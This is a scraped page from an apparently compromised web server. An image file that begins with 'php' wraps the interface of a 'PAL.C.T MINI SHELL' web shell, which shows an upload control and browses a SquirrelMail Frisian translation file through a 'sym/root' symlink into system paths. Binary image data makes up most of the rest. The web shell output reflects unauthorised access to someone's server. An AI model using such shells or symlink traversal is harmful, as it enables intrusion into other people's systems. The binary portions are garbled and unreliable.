php  IHDRwQ)Ba pHYs  sRGBgAMA aIDATxMk\Us&uo,mD )Xw+e?tw.oWp;QHZnw`gaiJ9̟灙a=nl[ ʨG;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$ w@H;@ q$y H@E7j 1j+OFRg}ܫ;@Ea~ j`u'o> j-$_q?qSXzG'ay

PAL.C.T MINI SHELL
files >> /var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/
upload
files >> //var/www/html/sub/images/sym/root/usr/share/squirrelmail/locale/fy/LC_MESSAGES/spam_buttons.po

# Frisian (fy) spam_buttons Translation (SquirrelMail plugin)
# Copyright (c) 1999-2009 The SquirrelMail Project Team
# This file is distributed under the same license as the SquirrelMail package.
# Rinse de Vries <rinsedevries@kde.nl>, 2007.
# $Id: spam_buttons.pot 10877 2006-03-04 11:22:22Z jervfors $
msgid ""
msgstr ""
"Project-Id-Version: spam_buttons\n"
"POT-Creation-Date: 2005-03-09 12:35-0800\n"
"PO-Revision-Date: 2007-04-15 09:53+0200\n"
"Last-Translator: Rinse de Vries <rinsedevries@kde.nl>\n"
"Language-Team: Nederlands <kde-i18n-nl@kde.org>\n"
"MIME-Version: 1.0\n"
"Content-Type: text/plain; charset=UTF-8\n"
"Content-Transfer-Encoding: 8bit\n"
"X-Generator: KBabel 1.11.4\n"

msgid "Server replied: "
msgstr "Tsjinner antwurdde: "

msgid "Spam"
msgstr "Spam"

msgid "Not Spam"
msgstr "Gjin spam"

msgid "Successfully reported as spam"
msgstr "Súksesfol rapportearre as spam"

msgid "Successfully reported as non-spam"
msgstr "Súksesfol rapportearre as net-spam"

msgid "ERROR:"
msgstr "FOUT:"

msgid "ERROR: Counld not open temp file; check attachments directory permissions"
msgstr "FOUT: koe tydlike triem net iepenje. Kontrolearje de tagongsrjochten foar de taheaksel-triemtafel."

#, c-format
msgid "ERROR %d: Problem reporting message ID %d: %s"
msgstr "FOUT %d: probleem by it rapportearjen fan berjocht-ID %d: %s"

#, c-format
msgid "Error: Draft folder %s does not exist."
msgstr "Fout: Konseptenmap %s bestiet net."

msgid "Message Details"
msgstr "Berjochtdetails"

msgid "Bodystructure"
msgstr "Berjochtstruktuer"

msgid "Entity"
msgstr "Entiteit"

msgid "Content-Type"
msgstr "Ynhâldstype"

msgid "Name"
msgstr "Namme"

msgid "Encoding"
msgstr "Kodearring"

msgid "RFC822 Message body"
msgstr "RFC822-berjochtfjild"

y~or5J={Eeu磝QkᯘG{?+]ן?wM3X^歌>{7پK>on\jyR g/=fOroNVv~Y+NGuÝHWyw[eQʨSb>>}Gmx[o[<{Ϯ_qF vMIENDB`